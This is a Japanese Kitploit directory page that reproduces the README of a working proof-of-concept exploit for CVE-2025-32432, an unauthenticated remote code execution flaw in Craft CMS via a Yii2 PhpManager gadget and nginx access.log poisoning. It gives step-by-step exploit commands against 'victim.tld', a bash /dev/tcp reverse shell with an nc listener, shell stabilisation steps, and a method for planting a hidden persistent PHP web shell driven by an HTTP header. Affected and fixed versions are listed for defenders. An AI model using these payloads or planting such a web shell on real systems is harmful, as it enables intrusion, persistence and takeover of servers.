Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-32432 — CVE-2025-32432 の実動 PoC - Craft CMS <= 5.6.16 における Yii2 PhpManager ガジェット + nginx access.log ポイズニング経由の認証なし RCE | Kitploit
ツール/GitHubGitHub/cd-ratel/cve-2025-32432
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ペイロード開発
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

CVE-2025-32432 の実動 PoC - Craft CMS <= 5.6.16 における Yii2 PhpManager ガジェット + nginx access.log ポイズニング経由の認証なし RCE

リポジトリを見る
21114ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-32432 - Craft CMS 未認証 RCE PoC

CVE-2025-32432 の実証 PoC。Craft CMS バージョン 5.6.16 以前(同等のコードパスで 4.x および 3.x 系統も影響を受ける)における未認証のリモートコード実行脆弱性。

検索キーワード: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

デフォルトモードは標準的な Craft CMS インストールを対象とします。--lab フラグは、hacklab-platform プロジェクトの carangueijada-20 チャレンジ用に含まれており、Craft をカスタムセッション Cookie で保護します。


脆弱性

影響を受けるコンポーネント: craft\controllers\AssetsController::actionGenerateTransform。

このアクションは allowAnonymous として登録されているため、認証は不要です。POST パラメータ handle を受け入れ、それが Craft::createObject() 呼び出しに スプレッド されます。

$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

$handle が攻撃者の制御下にある連想配列の場合、スプレッドによってコンストラクタ設定に任意のキーが注入されます。特に、as で始まるキーは yii\base\Component::__set によってビヘイビアアタッチメントとして解釈され、値に対して 型チェックの前に Yii::createObject($config) を呼び出します。

elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Yii2 2.0.50 の修正では、このブランチを保護するために is_subclass_of($value['class'], Behavior::class) が追加されました。脆弱なインストール(Yii2 <= 2.0.49、または以前にパッチが適用されていないチェック)では、ガードが完全にスキップされます。

ガジェット: yii\rbac\PhpManager

PhpManager は標準の Yii2 クラスです。init() は load() を呼び出し、それが loadFromFile($this->itemFile) を呼び出します。loadFromFile は文字通り次のようになります。

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require はディスク上の任意のファイルを PHP として解析します。ファイルに <?php ... ?> ブロックが含まれている場合、そのブロックはワーカー内で実行されます。itemFile を攻撃者が内容を制御するファイルに向けることで、完全な RCE が達成されます。

シンク: nginx access.log

信頼性の高いクロスインストールシンクは、nginx の combined フォーマットの access.log です。これは、非印字文字やほとんどの句読点を含むリクエスト User-Agent をそのまま記録します。User-Agent が <?php system('id'); exit; ?> であるリクエストを送信することで、攻撃者は既知のパスに PHP ブロックを仕掛けます。itemFile を /var/log/nginx/access.log に向けると、そのログを require し、すべての <?php ... ?> ブロックを順に実行します。

2 つの重要な点:

  1. ペイロード内に二重引用符を使用しない。nginx は combined フォーマットで " を \x22 にエスケープし、行の PHP 解析を壊します。シングルクォートまたは chr() による連結を使用してください。
  2. 末尾に exit; を置く。これにより、require が後続のログ行(他の不正なペイロードを含む可能性がある)を解析する前に中断されます。

影響を受けるバージョン

コンポーネント脆弱なバージョン修正済みバージョン
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 では、トランスフォーマークラスに ImageTransformerInterface チェックが追加されました。Yii2 2.0.50 では、Component::__set に Behavior サブクラスチェックが追加されています。どちらかの修正だけでも、このガジェットチェーンは閉じられます。


必要条件

  • Python 3.8+
  • requests ライブラリ (pip install -r requirements.txt)
  • ターゲットの HTTP(S) エンドポイントへのネットワーク到達可能性
  • ターゲット上の有効な Craft assetId。デフォルトは 2。必要に応じて -a <id> で上書き(アセット ID 1 は通常管理者アバター)

使用方法

標準的な Craft CMS

python3 exploit.py -u http://victim.tld -c 'id'

パスプレフィックス下にマウントされた Craft

python3 exploit.py -u http://victim.tld -p /cms -c 'id'

カスタムアセット ID

python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

カスタム itemFile(異なるログパス、FPM セッションなど)

python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

ラボモード(carangueijada-20 チャレンジ)

carangueijada-20 ラボ(hacklab-platform のもの)は、PATCH /login によって発行される coopsess Cookie で Craft インストールを保護しています。--lab フラグはそのハンドシェイクを自動的に処理します。

python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

www.carangueijada.coop がラボの IP に解決されることを確認してください(必要に応じて /etc/hosts に追加)。

リバースシェル

--revshell フラグは bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 によるコネクトバックを発火し、バックグラウンド化されるためガジェットの POST は即座に返ります。

2端末フロー(最も信頼性が高い):

# terminal 1 - listener on your machine
nc -lvnp 4444

# terminal 2 - fire exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

内蔵リスナーを使用した1端末フロー:

python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen はペイロード発火前に同じ端末で nc -lvnp <lport> を起動します。終了したら Ctrl+C で終了します。

サンプルセッション(ラボ):

$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

シェルの安定化(接続後、リバースシェル内で実行):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background nc
stty raw -echo; fg
# Enter twice
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

冪等性の仕組み

初回実行時、exploit は access.log を一度汚染して /tmp/.cve32432_w.php に隠し PHP ラッパーを仕掛けます。ラッパーは X-Cmd HTTP ヘッダーを読み取り、system($_SERVER['HTTP_X_CMD']) を実行します。以降のディスパッチでは itemFile をラッパーファイルに向け、コマンドをヘッダー経由で渡します。これ以上汚染もログの汚染もなく、「最初の <?php exit; ブロックが勝つ」という失敗もありません。

強制的に再仕掛けしたい場合は、ターゲット上の /tmp/.cve32432_w.php を削除してください(ラッパー自体を通じて行うこともできます: --cmd 'rm /tmp/.cve32432_w.php')。


サンプル出力

新しいターゲットに対する正常な実行例:

[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

ログ汚染フォールバック(ターゲットが以前に悪用されており、古いペイロードがあなたの前に終了している場合):

[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

実際のチェーンの動作

  1. POST /actions/assets/generate-transform が AssetsController::actionGenerateTransform に到達します。
  2. ハンドラは $config = ['class' => ImageTransform::class, ...$handle] を構築します。私たちの handle[as gadget] はスプレッド後も残ります。
  3. Craft::createObject($config) は Yii::$container->get(ImageTransform::class, [], $config) を呼び出し、ImageTransform をインスタンス化し、残りの各設定キーを $transform->{$key} = $value で書き込みます。
  4. パーサーが as gadget に到達すると、Component::__set が as プレフィックスに一致し、Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']) を呼び出します。
  5. Yii::createObject は PhpManager を構築し、__construct() を実行し、次に init() を実行します。
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'。
  7. PHP はログファイルを解析します。非 PHP テキストは stdout にエコーされ(HTTP レスポンスボディに含まれます)。<?php ... ?> ブロックはワーカー内で実行されます。
  8. 仕掛けたペイロードが system($cmd) を実行し exit; します。出力は <?php ブロックがテキスト上にあった位置のレスポンスボディに現れます。

トラブルシューティング

ツールをダウンロード